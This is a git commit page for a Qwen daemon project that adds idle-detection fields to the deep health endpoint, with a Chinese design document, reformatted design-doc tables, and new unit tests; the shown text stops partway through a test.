feat(serve): add daemon idle detection to GET /health?deep=true (#4934)

* docs(design): add daemon idle detection API design for machine reclamation

When qwen daemon is deployed across multiple machines, an external
scheduler needs a reliable signal to determine if a daemon is idle
and the machine can be reclaimed. This design proposes enhancing
GET /health?deep=true with activePrompts, connectedClients,
channelAlive, lastActivityAt, and idleSinceMs fields.

* feat(serve): add idle-detection fields to GET /health?deep=true

* fix(test): add activePromptCount and lastActivityAt to fakeBridge

Update the test helper to satisfy the expanded AcpSessionBridge
interface so /health?deep=true tests pass with the new fields.

* test(idle-detection): add unit tests for activePromptCount, lastActivityAt and /health?deep=true new fields

* refactor(bridge): replace activePromptCount iteration with O(1) counter

* fix(bridge): move idleSinceMs computation into bridge to eliminate race window

* fix(idle-detection): keep daemon health state consistent

Guard prompt teardown so activePromptCount only decrements once and compute deep health idle fields from the same activity snapshot.

* fix(acp): prevent active prompt leak after channel crash

Reject queued prompts after their session entry has been torn down so daemon health does not report phantom active prompts.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
This commit is contained in:
jifeng 2026-06-18 14:55:03 +08:00 committed by GitHub
parent 19307eb0a6
commit 858c900af9
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
21 changed files with 876 additions and 177 deletions

View file

@ -0,0 +1,219 @@
# Daemon 闲置检测接口设计
## 背景
### 问题
Qwen Daemon 会部署在多台机器上作为长驻服务。当 Daemon 长时间无任务执行时继续占用机器资源是浪费。外部调度器K8s HPA / 自定义 Scaler需要一个可靠的信号来判断 Daemon 是否处于闲置状态,以便做缩容回收。
### 现状
目前可用的接口:
| 接口 | 返回信息 | 局限 |
|------|----------|------|
| `GET /health?deep=true` | `{ sessions, pendingPermissions }` | 只有 session 数量,无法区分"有 session 但空闲"和"有 session 正在工作" |
| `GET /workspace/:cwd/sessions` | 每个 session 的 `hasActivePrompt` + `clientCount` | 需要额外一次请求,且无时间维度信息(多久没活动了?) |
**核心缺失**
1. 没有汇总级别的"是否有活跃 prompt"指标
2. 没有"最后活动时间",外部系统需要自己维护状态机来计算空闲时长
3. 没有 SSE 连接数暴露(已内部维护 `activeSseCount`,但 `/health` 未返回)
4. 没有 channelagent 子进程)存活状态暴露
## 设计目标
提供一个**单次 HTTP 调用即可完成闲置判断**的接口,满足:
- 外部调度器一次 GET 即可判断是否可回收
- 支持时间维度(空闲了多久),避免外部维护状态
- 向后兼容现有 `/health` 行为
- 零额外依赖,利用已有内部状态
## 方案
### 增强 `GET /health?deep=true` 响应
在现有 `/health?deep=true` 返回中追加字段:
```jsonc
// GET /health?deep=true
{
"status": "ok",
// --- 已有字段(不变)---
"sessions": 2,
"pendingPermissions": 0,
// --- 新增字段 ---
"activePrompts": 1, // 正在执行 prompt 的 session 数
"connectedClients": 3, // 活跃 SSE 连接数
"channelAlive": true, // agent 子进程是否存活
"lastActivityAt": "2026-06-10T08:30:00.000Z", // 最后一次活动时间ISO 8601
"idleSinceMs": 120000 // 距离最后活动已经过去的毫秒数
}
```
### 字段定义
| 字段 | 类型 | 语义 |
|------|------|------|
| `activePrompts` | `number` | 当前 `promptActive === true` 的 session 计数 |
| `connectedClients` | `number` | 当前活跃 SSE 连接数(已有 `activeSseCount` |
| `channelAlive` | `boolean` | agent 子进程是否存活(已有 `bridge.isChannelLive()` |
| `lastActivityAt` | `string \| null` | 最后一次 prompt 开始或完成的 ISO 时间戳daemon 启动后从未有过 prompt 时为 `null` |
| `idleSinceMs` | `number \| null` | `Date.now() - lastActivityAt`;无活动记录时为 `null` |
### "活动" 的定义
以下事件视为"活动",会刷新 `lastActivityAt`
- prompt 开始执行(`promptActive` 从 false → true
- prompt 完成/失败(`promptActive` 从 true → false
- 新 session 创建(`spawnOrAttach` 成功)
- session 恢复/加载(`loadSession` / `resumeSession` 成功)
**不**视为活动的事件(避免误判):
- SSE 连接/断开
- 心跳 heartbeat
- `/health` 请求本身
- permission 请求/响应
### 闲置判断规则(供外部调度器参考)
```python
def should_reclaim(health, idle_threshold_ms=300_000):
"""建议回收条件:空闲超过阈值(默认 5 分钟)"""
if health["activePrompts"] > 0:
return False # 有任务在跑
if health["connectedClients"] > 0:
return False # 有客户端连着
if health["idleSinceMs"] is None:
# 从未有过活动 — 可能是刚启动的 cold daemon
return True
return health["idleSinceMs"] >= idle_threshold_ms
```
## 涉及代码改动
### 1. `packages/acp-bridge/src/bridgeTypes.ts`
`AcpSessionBridge` 接口新增:
```typescript
/** 正在执行 prompt 的 session 数量 */
get activePromptCount(): number;
/** 最后一次活动时间戳epoch msnull 表示从未有过活动 */
get lastActivityAt(): number | null;
```
### 2. `packages/acp-bridge/src/bridge.ts`
`createAcpSessionBridge` 工厂函数内:
```typescript
// 新增状态追踪
let lastActivityTimestamp: number | null = null;
function touchActivity(): void {
lastActivityTimestamp = Date.now();
}
```
在以下位置调用 `touchActivity()`
- `entry.promptActive = true`~line 2528— prompt 开始
- `entry.promptActive = false`~line 2551, 2559— prompt 结束
- `doSpawn` 成功创建 session 后(~line 1906 附近)
- `restoreSession` 成功后
在返回对象中暴露:
```typescript
get activePromptCount() {
let count = 0;
for (const entry of byId.values()) {
if (entry.promptActive) count++;
}
return count;
},
get lastActivityAt() {
return lastActivityTimestamp;
},
```
### 3. `packages/cli/src/serve/server.ts`
修改 `healthHandler`~line 803`deep` 分支:
```typescript
const healthHandler = (req: Request, res: Response): void => {
const deepQuery = req.query['deep'];
const deep = deepQuery === '1' || deepQuery === 'true' || deepQuery === '';
if (!deep) {
res.status(200).json({ status: 'ok' });
return;
}
try {
const lastActivityAt = bridge.lastActivityAt;
const now = Date.now();
res.status(200).json({
status: 'ok',
// 已有
sessions: bridge.sessionCount,
pendingPermissions: bridge.pendingPermissionCount,
// 新增
activePrompts: bridge.activePromptCount,
connectedClients: getActiveSseCount(),
channelAlive: bridge.isChannelLive(),
lastActivityAt: lastActivityAt !== null
? new Date(lastActivityAt).toISOString()
: null,
idleSinceMs: lastActivityAt !== null
? now - lastActivityAt
: null,
});
} catch (err) {
writeStderrLine(
`qwen serve: /health deep probe failed: ${err instanceof Error ? err.message : String(err)}`,
);
res.status(503).json({ status: 'degraded' });
}
};
```
### 4. `packages/cli/src/serve/server.test.ts`
新增测试用例覆盖:
- `/health?deep=true` 返回新字段的正确性
- 无 session 时 `activePrompts === 0``idleSinceMs === null`
- prompt 执行中 `activePrompts > 0``idleSinceMs` 持续刷新
- prompt 完成后 `idleSinceMs` 开始递增
### 5. `packages/acp-bridge/src/bridge.test.ts`
新增测试用例覆盖:
- `activePromptCount` 在 prompt 生命周期中的值变化
- `lastActivityAt` 在各活动事件后被刷新
- 多 session 并行时 `activePromptCount` 正确累加
## 文件变更清单
| 文件 | 改动类型 | 说明 |
|------|----------|------|
| `packages/acp-bridge/src/bridgeTypes.ts` | 接口扩展 | 新增 `activePromptCount``lastActivityAt` 属性 |
| `packages/acp-bridge/src/bridge.ts` | 逻辑实现 | 新增 `lastActivityTimestamp` 追踪 + getter |
| `packages/cli/src/serve/server.ts` | HTTP 响应扩展 | `/health?deep=true` 增加新字段 |
| `packages/cli/src/serve/server.test.ts` | 测试 | 新增 health 接口新字段覆盖 |
| `packages/acp-bridge/src/bridge.test.ts` | 测试 | 新增 bridge 属性覆盖 |
## 兼容性
- **向后兼容**:新字段是追加的,不修改/删除任何已有字段
- **`GET /health`(非 deep**:行为不变,仍只返回 `{ "status": "ok" }`
- **OTel Gauge**:已有的 `registerDaemonGaugeCallbacks` 可选后续追加 `activePrompts` gauge但不在本次范围内
## 后续扩展(不在本次范围)
1. **自动 shutdown**daemon 内置 `--auto-shutdown-idle-ms` 参数,空闲超时后自行退出(适合 systemd/K8s Pod 场景)
2. **OTel 指标暴露**:将 `activePrompts``idleSinceMs` 作为 gauge 注册到 OTel meter
3. **Webhook 回调**:空闲超阈值时主动推送事件到外部系统

View file

@ -66,7 +66,7 @@ One provider, one store, transport is an internal detail. Third parties pass
```typescript
interface DaemonTransportFetchOptions {
timeout?: number; // 0 = no timeout. undefined = transport default.
timeout?: number; // 0 = no timeout. undefined = transport default.
}
interface DaemonTransportSubscribeOptions {
@ -141,11 +141,11 @@ class DaemonTransportClosedError extends Error {}
`subscribeEvents` has fundamentally different wire semantics per transport:
| Transport | Wire mechanism |
|-----------|---------------|
| REST | `GET /session/:id/events` → SSE → `parseSseStream``DaemonEvent` |
| ACP HTTP | `GET /acp` (session-scoped SSE) → JSON-RPC notification unwrap |
| ACP WS | Demux notifications from shared socket by sessionId |
| Transport | Wire mechanism |
| --------- | ------------------------------------------------------------------ |
| REST | `GET /session/:id/events` → SSE → `parseSseStream``DaemonEvent` |
| ACP HTTP | `GET /acp` (session-scoped SSE) → JSON-RPC notification unwrap |
| ACP WS | Demux notifications from shared socket by sessionId |
Forcing these through a fetch-shaped hole requires SSE re-encoding/decoding
(WS → fake SSE text → `parseSseStream` → DaemonEvent) — wasteful and fragile.
@ -156,6 +156,7 @@ semantics regardless of transport.
### 2.3 Why fetch-level, not method-dispatch
DaemonClient's 67 methods contain per-method HTTP branching:
- `prompt()`: 202 vs 200 status check
- `deleteWorkspaceAgent()`: 204 vs 404 with body inspection
- `respondToPermission()`: 200 vs 404 for race detection
@ -170,13 +171,14 @@ all this logic in every transport. Fetch-level keeps DaemonClient unchanged.
export interface DaemonClientOptions {
baseUrl: string;
token?: string;
fetch?: typeof globalThis.fetch; // Kept
fetchTimeoutMs?: number; // Kept
transport?: DaemonTransport; // NEW — optional override
fetch?: typeof globalThis.fetch; // Kept
fetchTimeoutMs?: number; // Kept
transport?: DaemonTransport; // NEW — optional override
}
```
Internal changes:
- Constructor: `this.transport = opts.transport ?? new RestSseTransport(...)`
- `fetchWithTimeout`: delegate to `this.transport.fetch(url, init, { timeout })`
- 6 direct `this._fetch` sites (prompt, promptNonBlocking, recapSession,
@ -198,7 +200,7 @@ bypassing the provider:
interface DaemonWorkspaceProviderProps {
baseUrl: string;
token?: string;
transport?: DaemonTransport; // NEW — forwarded to DaemonClient
transport?: DaemonTransport; // NEW — forwarded to DaemonClient
// ...existing props
}
@ -207,8 +209,9 @@ interface DaemonWorkspaceProviderProps {
```
When `transport` is provided, the provider passes it to `DaemonClient`:
```typescript
new DaemonClient({ baseUrl, token, transport: props.transport })
new DaemonClient({ baseUrl, token, transport: props.transport });
```
When omitted: current behavior (REST+SSE). ~5 lines of provider change.
@ -221,8 +224,8 @@ Wraps `globalThis.fetch` + extracts current SSE logic from
```typescript
class RestSseTransport implements DaemonTransport {
readonly type = 'rest' as const;
readonly supportsReplay = true; // SSE supports Last-Event-ID
readonly connected = true; // REST is stateless
readonly supportsReplay = true; // SSE supports Last-Event-ID
readonly connected = true; // REST is stateless
constructor(
private readonly baseUrl: string,
@ -230,7 +233,9 @@ class RestSseTransport implements DaemonTransport {
private readonly _fetch: typeof globalThis.fetch,
) {}
fetch(url, init, opts?) { return this._fetch(url, init); }
fetch(url, init, opts?) {
return this._fetch(url, init);
}
async *subscribeEvents(sessionId, opts) {
// Current DaemonClient.subscribeEvents logic moved here:
@ -240,13 +245,14 @@ class RestSseTransport implements DaemonTransport {
// - fetch → validate content-type → parseSseStream → yield
}
dispose() {} // no-op
dispose() {} // no-op
}
```
### 2.6 ACP transport internals
**AcpWsTransport** (~400-600 lines):
- Lazy-init: first `fetch` call opens WS + sends `initialize`
- URL→JSON-RPC mapping table: `/session/:id/prompt``{method: "session/prompt", params: {sessionId: id, ...body}}`
- Request multiplexer: `Map<id, {resolve, reject}>` for pending requests
@ -256,6 +262,7 @@ class RestSseTransport implements DaemonTransport {
- Synthesizes `Response` objects with correct `.status`/`.json()`/`.text()`
**AcpHttpTransport** (~800-1000 lines):
- Lazy-init: first `fetch` call sends `POST /acp {initialize}`
- Manages conn-scoped + session-scoped SSE streams internally
- Same URL→JSON-RPC mapping + request correlation
@ -281,6 +288,7 @@ const transport = await DaemonTransport.negotiate(baseUrl, token);
```
Implementation:
1. `GET /capabilities` → read `transports` array
2. If `acp-ws` in list → try WS upgrade; on success return `AcpWsTransport`
3. If WS fails or not in list → try `acp-http`; on success return `AcpHttpTransport`
@ -314,6 +322,7 @@ The transport does not silently switch protocols — it fails loudly
(`DaemonTransportClosedError`) and the consumer decides whether to rebuild.
Rationale:
- WS teardown destroys all owned sessions server-side (`registry.delete`
`conn.destroy`). A silent switch would hide this data loss.
- `session/load` re-attaches to the existing bridge session (transcripts
@ -355,35 +364,35 @@ code is additive and opt-in. `new DaemonClient({ baseUrl, token })` without
### Verdict: zero breaking changes
| Public API | Change | Breaking? |
|-----------|--------|:---------:|
| `new DaemonClient({ baseUrl, token })` | No change | ❌ |
| `DaemonClientOptions.*` | All kept, `transport` added | ❌ |
| `DaemonHttpError` | Unchanged | ❌ |
| `DaemonSessionClient` | Zero changes (delegates to DaemonClient) | ❌ |
| All type exports (100+) | Unchanged | ❌ |
| Public API | Change | Breaking? |
| -------------------------------------- | ---------------------------------------- | :-------: |
| `new DaemonClient({ baseUrl, token })` | No change | ❌ |
| `DaemonClientOptions.*` | All kept, `transport` added | ❌ |
| `DaemonHttpError` | Unchanged | ❌ |
| `DaemonSessionClient` | Zero changes (delegates to DaemonClient) | ❌ |
| All type exports (100+) | Unchanged | ❌ |
### Per-consumer impact
| Consumer | Impact |
|----------|--------|
| webui (25 files) | Zero code changes |
| web-shell (4 files) | Zero code changes |
| vscode-ide-companion (1 file) | Zero code changes |
| Third-party | Zero for REST; pass `transport` for ACP |
| Consumer | Impact |
| ----------------------------- | --------------------------------------- |
| webui (25 files) | Zero code changes |
| web-shell (4 files) | Zero code changes |
| vscode-ide-companion (1 file) | Zero code changes |
| Third-party | Zero for REST; pass `transport` for ACP |
---
## 4. Design decisions
| Decision | Rationale |
|----------|-----------|
| `subscribeEvents` on transport, not just `fetch` | SSE re-encoding through fetch is wasteful and fragile |
| `connected: boolean` on transport | Provider reconnect loop needs to distinguish "transport dead" from "transient 500" |
| Lazy-init (not explicit `connect()`) | Keeps DaemonClient construction synchronous; default `new RestSseTransport()` needs no init |
| Auto-detection is one-shot, not mid-session | `negotiate()` probes once at startup; runtime fallback is consumer-driven via `DaemonTransportClosedError`, not silent internal switch |
| No error taxonomy prerequisite | ACP transports map errors to HTTP-equivalent status codes internally; `DaemonHttpError` works as-is |
| Provider gets `transport` prop | `DaemonWorkspaceProvider` gains optional `transport` prop (~5 lines), forwarded to `DaemonClient` constructor. Third parties set this prop; omitting it = current REST behavior |
| Decision | Rationale |
| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `subscribeEvents` on transport, not just `fetch` | SSE re-encoding through fetch is wasteful and fragile |
| `connected: boolean` on transport | Provider reconnect loop needs to distinguish "transport dead" from "transient 500" |
| Lazy-init (not explicit `connect()`) | Keeps DaemonClient construction synchronous; default `new RestSseTransport()` needs no init |
| Auto-detection is one-shot, not mid-session | `negotiate()` probes once at startup; runtime fallback is consumer-driven via `DaemonTransportClosedError`, not silent internal switch |
| No error taxonomy prerequisite | ACP transports map errors to HTTP-equivalent status codes internally; `DaemonHttpError` works as-is |
| Provider gets `transport` prop | `DaemonWorkspaceProvider` gains optional `transport` prop (~5 lines), forwarded to `DaemonClient` constructor. Third parties set this prop; omitting it = current REST behavior |
---
@ -419,20 +428,20 @@ Parallel `AcpSessionProvider` + `ChatBridgeContext` + `SessionBridgeContext`.
All changes land in one PR. Estimated ~1300 lines total.
| File | Change | Lines |
|------|--------|-------|
| `packages/sdk-typescript/src/daemon/DaemonTransport.ts` | Interface + types + `DaemonTransportClosedError` + `negotiate()` factory | ~110 |
| `packages/sdk-typescript/src/daemon/RestSseTransport.ts` | Wraps `globalThis.fetch` + SSE logic extracted from DaemonClient | ~80 |
| `packages/sdk-typescript/src/daemon/AcpWsTransport.ts` | WS multiplexer + URL→JSON-RPC mapping + request correlation | ~400 |
| `packages/sdk-typescript/src/daemon/AcpHttpTransport.ts` | POST /acp + conn/session SSE management | ~300 |
| `packages/sdk-typescript/src/daemon/AcpEventDenormalizer.ts` | JSON-RPC notification → DaemonEvent mapping | ~150 |
| `packages/sdk-typescript/src/daemon/AutoReconnectTransport.ts` | Opt-in wrapper: reconnect + fallback | ~150 |
| `packages/sdk-typescript/src/daemon/DaemonClient.ts` | Constructor + 6 `_fetch` sites + subscribeEvents rewrite | ~40 net |
| `packages/sdk-typescript/src/daemon/index.ts` | Export new types | ~10 |
| `packages/cli/src/serve/server.ts` | Add `transports` field to `GET /capabilities` | ~5 |
| `packages/sdk-typescript/src/daemon/types.ts` | Add `transports` to `DaemonCapabilities` type | ~3 |
| `packages/webui/src/daemon/workspace/DaemonWorkspaceProvider.tsx` | Add optional `transport` prop, forward to `DaemonClient` | ~5 |
| Tests | Transport unit + integration tests | ~200 |
| File | Change | Lines |
| ----------------------------------------------------------------- | ------------------------------------------------------------------------ | ------- |
| `packages/sdk-typescript/src/daemon/DaemonTransport.ts` | Interface + types + `DaemonTransportClosedError` + `negotiate()` factory | ~110 |
| `packages/sdk-typescript/src/daemon/RestSseTransport.ts` | Wraps `globalThis.fetch` + SSE logic extracted from DaemonClient | ~80 |
| `packages/sdk-typescript/src/daemon/AcpWsTransport.ts` | WS multiplexer + URL→JSON-RPC mapping + request correlation | ~400 |
| `packages/sdk-typescript/src/daemon/AcpHttpTransport.ts` | POST /acp + conn/session SSE management | ~300 |
| `packages/sdk-typescript/src/daemon/AcpEventDenormalizer.ts` | JSON-RPC notification → DaemonEvent mapping | ~150 |
| `packages/sdk-typescript/src/daemon/AutoReconnectTransport.ts` | Opt-in wrapper: reconnect + fallback | ~150 |
| `packages/sdk-typescript/src/daemon/DaemonClient.ts` | Constructor + 6 `_fetch` sites + subscribeEvents rewrite | ~40 net |
| `packages/sdk-typescript/src/daemon/index.ts` | Export new types | ~10 |
| `packages/cli/src/serve/server.ts` | Add `transports` field to `GET /capabilities` | ~5 |
| `packages/sdk-typescript/src/daemon/types.ts` | Add `transports` to `DaemonCapabilities` type | ~3 |
| `packages/webui/src/daemon/workspace/DaemonWorkspaceProvider.tsx` | Add optional `transport` prop, forward to `DaemonClient` | ~5 |
| Tests | Transport unit + integration tests | ~200 |
**Backward compatibility**: `new DaemonClient({ baseUrl, token })` without
`transport` = identical REST+SSE behavior. All existing tests pass unchanged.
@ -464,10 +473,10 @@ All changes land in one PR. Estimated ~1300 lines total.
## 8. Risks
| Risk | Mitigation |
|------|-----------|
| URL→JSON-RPC mapping table maintenance | Table co-located with transport; daemon route changes require transport update |
| ACP WS synthesized Response fidelity | Provide `syntheticResponse(status, json)` helper; document contract (`.json()`, `.text()`, `.status`, `.body?.cancel()`) |
| `DaemonEvent.id` monotonicity for WS | ACP server's JSON-RPC notifications carry event id; transport surfaces it directly |
| Prompt 202 vs 200 for WS | Transport maps JSON-RPC response → 200 with result body (blocking path); events still flow via `subscribeEvents` |
| WS connection drop detection | `connected: boolean` + `DaemonTransportClosedError` thrown from `fetch` |
| Risk | Mitigation |
| -------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
| URL→JSON-RPC mapping table maintenance | Table co-located with transport; daemon route changes require transport update |
| ACP WS synthesized Response fidelity | Provide `syntheticResponse(status, json)` helper; document contract (`.json()`, `.text()`, `.status`, `.body?.cancel()`) |
| `DaemonEvent.id` monotonicity for WS | ACP server's JSON-RPC notifications carry event id; transport surfaces it directly |
| Prompt 202 vs 200 for WS | Transport maps JSON-RPC response → 200 with result body (blocking path); events still flow via `subscribeEvents` |
| WS connection drop detection | `connected: boolean` + `DaemonTransportClosedError` thrown from `fetch` |

View file

@ -60,11 +60,11 @@ Handles common cross-cutting concerns: sender gating (allowlist / denylist), gro
### Per-channel adapters
| Adapter | File | Transport | Notes |
| --------------- | --------------------------------------------------- | ----------------------------------- | ---------------------------------------------------------------------------------------- |
| DingTalk | `packages/channels/dingtalk/src/DingtalkAdapter.ts` | DingTalk Stream SDK WebSocket | Sends via `sessionWebhook` POST; media images downloaded via DT API, base64 in envelope. |
| WeChat (Weixin) | `packages/channels/weixin/src/WeixinAdapter.ts` | iLink Bot HTTP long-poll | Sends via proprietary `sendText` / `sendImage` API; typing indicators. |
| Telegram | `packages/channels/telegram/src/TelegramAdapter.ts` | Telegram Bot API long-poll (grammy) | Sends HTML chunks via `sendMessage`. |
| Adapter | File | Transport | Notes |
| --------------- | --------------------------------------------------- | ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------ |
| DingTalk | `packages/channels/dingtalk/src/DingtalkAdapter.ts` | DingTalk Stream SDK WebSocket | Sends via `sessionWebhook` POST; media images downloaded via DT API, base64 in envelope. |
| WeChat (Weixin) | `packages/channels/weixin/src/WeixinAdapter.ts` | iLink Bot HTTP long-poll | Sends via proprietary `sendText` / `sendImage` API; typing indicators. |
| Telegram | `packages/channels/telegram/src/TelegramAdapter.ts` | Telegram Bot API long-poll (grammy) | Sends HTML chunks via `sendMessage`. |
| Feishu | `packages/channels/feishu/src/FeishuAdapter.ts` | Feishu/Lark Stream WebSocket (default) or HTTP webhook | Sends via Lark SDK as interactive cards; webhook mode requires `encryptKey` for HMAC signature verification. |
Each adapter implements:
@ -77,11 +77,11 @@ Each adapter implements:
### Adapter matrix
| Adapter | Transport | Identity | Permission UX | Auto-approve config |
| ------------ | ----------------- | -------------------------------------------------------- | ----------------------------------- | ------------------------------------------------- |
| **DingTalk** | WebSocket stream | `senderStaffId` (+ optional `conversationId` for groups) | Inline buttons via DT markdown | `ChannelConfig.approvalMode = 'auto' \| 'prompt'` |
| **WeChat** | HTTP long-poll | `senderWxid` (+ optional `groupWxid`) | Text-only prompts with reply tokens | Same |
| **Telegram** | Bot API long-poll | `from.id` (+ optional `chat.id` for groups) | Inline keyboard buttons | Same |
| Adapter | Transport | Identity | Permission UX | Auto-approve config |
| ------------ | ------------------------------- | -------------------------------------------------------- | ----------------------------------- | ------------------------------------------------- |
| **DingTalk** | WebSocket stream | `senderStaffId` (+ optional `conversationId` for groups) | Inline buttons via DT markdown | `ChannelConfig.approvalMode = 'auto' \| 'prompt'` |
| **WeChat** | HTTP long-poll | `senderWxid` (+ optional `groupWxid`) | Text-only prompts with reply tokens | Same |
| **Telegram** | Bot API long-poll | `from.id` (+ optional `chat.id` for groups) | Inline keyboard buttons | Same |
| **Feishu** | WebSocket stream / HTTP webhook | `sender.open_id` (+ optional `chat_id` for groups) | Interactive card buttons | Same |
> **Note:** The "Permission UX" column describes each platform's native affordance, but none is wired up yet — `AcpBridge.requestPermission` currently auto-approves every request (`packages/channels/base/src/AcpBridge.ts`), and `ChannelConfig.approvalMode` is declared but not yet read. Interactive approval is planned (Phase 5).

View file

@ -6,22 +6,22 @@
## What exists today
| Surface | Location | Purpose |
| ------------------------------------------- | ---------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `QWEN_SERVE_DEBUG` stderr logs | `bridge.ts` and call sites | Env values `1` / `true` / `on` / `yes` (case-insensitive) print `qwen serve debug: ...` lines to stderr. |
| OpenTelemetry span instrumentation | `server.ts` `daemonTelemetryMiddleware` | Each HTTP request is wrapped in `withDaemonRequestSpan`; attributes include route, sessionId, clientId, and status code. Permission routes have dedicated spans. Prompt lifecycle is traced end-to-end. Configuration lives in `settings.json` `telemetry`. |
| `DaemonLogger` structured file logs | `serve/daemonLogger.ts` | Structured JSON-like log lines are written to a file. Boot prints `daemon log -> <path>`. Supports `info` / `warn` / `error` levels, with structured fields such as `route`, `sessionId`, `clientId`, `childPid`, and `channelId`. |
| Per-request access-log middleware | `server.ts`, registered before `bearerAuth` | Logs `method`, `path`, `status`, `durationMs`, `sessionId`, and `clientId` after each request. Skips `GET /health` and heartbeat. 4xx+ uses `warn`; success uses `info`. |
| `/health` | `server.ts` route | Liveness probe; `?deep=1` returns extended details. |
| `/capabilities` | `server.ts` route | Preflight feature discovery. See [`11-capabilities-versioning.md`](./11-capabilities-versioning.md). |
| `/workspace/preflight` | Route -> `DaemonStatusProvider` | Structured readiness cells: Node version, CLI entry, ripgrep, git, npm, plus ACP-level cells once a child is alive. |
| `/workspace/env` | Route -> `DaemonStatusProvider` | Daemon process env snapshot. Secret env vars report only presence; proxy URL credentials are stripped. |
| `/workspace/mcp` | Route -> bridge extMethod | Pool, budget, and refusal snapshot. |
| `/workspace/skills`, `/workspace/providers` | Routes | ACP-side live snapshots; return empty idle data when no session exists. |
| Per-session SSE | `GET /session/:id/events` | Real-time event stream. |
| Surface | Location | Purpose |
| ------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `QWEN_SERVE_DEBUG` stderr logs | `bridge.ts` and call sites | Env values `1` / `true` / `on` / `yes` (case-insensitive) print `qwen serve debug: ...` lines to stderr. |
| OpenTelemetry span instrumentation | `server.ts` `daemonTelemetryMiddleware` | Each HTTP request is wrapped in `withDaemonRequestSpan`; attributes include route, sessionId, clientId, and status code. Permission routes have dedicated spans. Prompt lifecycle is traced end-to-end. Configuration lives in `settings.json` `telemetry`. |
| `DaemonLogger` structured file logs | `serve/daemonLogger.ts` | Structured JSON-like log lines are written to a file. Boot prints `daemon log -> <path>`. Supports `info` / `warn` / `error` levels, with structured fields such as `route`, `sessionId`, `clientId`, `childPid`, and `channelId`. |
| Per-request access-log middleware | `server.ts`, registered before `bearerAuth` | Logs `method`, `path`, `status`, `durationMs`, `sessionId`, and `clientId` after each request. Skips `GET /health` and heartbeat. 4xx+ uses `warn`; success uses `info`. |
| `/health` | `server.ts` route | Liveness probe; `?deep=1` returns extended details. |
| `/capabilities` | `server.ts` route | Preflight feature discovery. See [`11-capabilities-versioning.md`](./11-capabilities-versioning.md). |
| `/workspace/preflight` | Route -> `DaemonStatusProvider` | Structured readiness cells: Node version, CLI entry, ripgrep, git, npm, plus ACP-level cells once a child is alive. |
| `/workspace/env` | Route -> `DaemonStatusProvider` | Daemon process env snapshot. Secret env vars report only presence; proxy URL credentials are stripped. |
| `/workspace/mcp` | Route -> bridge extMethod | Pool, budget, and refusal snapshot. |
| `/workspace/skills`, `/workspace/providers` | Routes | ACP-side live snapshots; return empty idle data when no session exists. |
| Per-session SSE | `GET /session/:id/events` | Real-time event stream. |
| `/demo` debug console | `GET /demo` (`packages/cli/src/serve/demo.ts`) | Browser-accessible single-page console: chat, event log, workspace inspector, and permission UX. On loopback, `http://127.0.0.1:4170/demo` is the quickest end-to-end validation path without writing SDK code. Registration rules are in [`02-serve-runtime.md`](./02-serve-runtime.md). |
| `PermissionAuditRing` | `permissionAudit.ts` | In-memory FIFO of 512 permission decisions. |
| Mediator `decisionReason` audit | `permissionMediator.ts` | Internal structured record explaining why a permission request resolved the way it did. |
| `PermissionAuditRing` | `permissionAudit.ts` | In-memory FIFO of 512 permission decisions. |
| Mediator `decisionReason` audit | `permissionMediator.ts` | Internal structured record explaining why a permission request resolved the way it did. |
## What does not exist today

View file

@ -326,13 +326,11 @@ describe('FileService', () => {
describe('read', () => {
it('calls fsFactory.forRequest with context and delegates to readFile', async () => {
const mockFs = {
readFile: vi
.fn()
.mockResolvedValue({
content: 'hello',
truncated: false,
bytesRead: 5,
}),
readFile: vi.fn().mockResolvedValue({
content: 'hello',
truncated: false,
bytesRead: 5,
}),
};
const fsFactory = { forRequest: vi.fn().mockReturnValue(mockFs) };
const service = createFileService({
@ -461,13 +459,11 @@ Add to the test file:
describe('write', () => {
it('passes originatorClientId to forRequest for audit', async () => {
const mockFs = {
writeFile: vi
.fn()
.mockResolvedValue({
ok: true,
filePath: '/workspace/f.ts',
bytesWritten: 3,
}),
writeFile: vi.fn().mockResolvedValue({
ok: true,
filePath: '/workspace/f.ts',
bytesWritten: 3,
}),
};
const fsFactory = { forRequest: vi.fn().mockReturnValue(mockFs) };
const service = createFileService({
@ -531,13 +527,11 @@ const ctx: WorkspaceRequestContext = {
describe('AuthService', () => {
it('startFlow delegates to registry.start and returns flowId + verificationUri + userCode', async () => {
const registry = {
start: vi
.fn()
.mockReturnValue({
id: 'flow-1',
verificationUri: 'https://auth.example/device',
userCode: 'ABCD-1234',
}),
start: vi.fn().mockReturnValue({
id: 'flow-1',
verificationUri: 'https://auth.example/device',
userCode: 'ABCD-1234',
}),
};
const service = createAuthService({ deviceFlowRegistry: registry as any });

View file

@ -10302,6 +10302,341 @@ describe('close on last client detach', () => {
});
});
describe('activePromptCount and lastActivityAt', () => {
it('activePromptCount is 0 and lastActivityAt is null before any activity', () => {
const bridge = makeBridge({
channelFactory: async () => makeChannel().channel,
});
expect(bridge.activePromptCount).toBe(0);
expect(bridge.lastActivityAt).toBeNull();
});
it('lastActivityAt is set after spawning a session', async () => {
const bridge = makeBridge({
channelFactory: async () => makeChannel().channel,
});
const before = Date.now();
await bridge.spawnOrAttach({ workspaceCwd: WS_A });
const after = Date.now();
expect(bridge.lastActivityAt).not.toBeNull();
expect(bridge.lastActivityAt).toBeGreaterThanOrEqual(before);
expect(bridge.lastActivityAt).toBeLessThanOrEqual(after);
expect(bridge.activePromptCount).toBe(0);
await bridge.shutdown();
});
it('activePromptCount increments during prompt and decrements after', async () => {
let releasePrompt: (() => void) | undefined;
const handle = makeChannel({
promptImpl: () =>
new Promise<PromptResponse>((resolve) => {
releasePrompt = () => resolve({ stopReason: 'end_turn' });
}),
});
const bridge = makeBridge({
channelFactory: async () => handle.channel,
});
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
// Start prompt (don't await — it blocks until released)
const promptPromise = bridge.sendPrompt(session.sessionId, {
sessionId: session.sessionId,
prompt: [{ type: 'text', text: 'test' }],
});
// Wait for prompt to reach the agent
await vi.waitFor(() => {
expect(handle.agent.promptCalls).toHaveLength(1);
});
expect(bridge.activePromptCount).toBe(1);
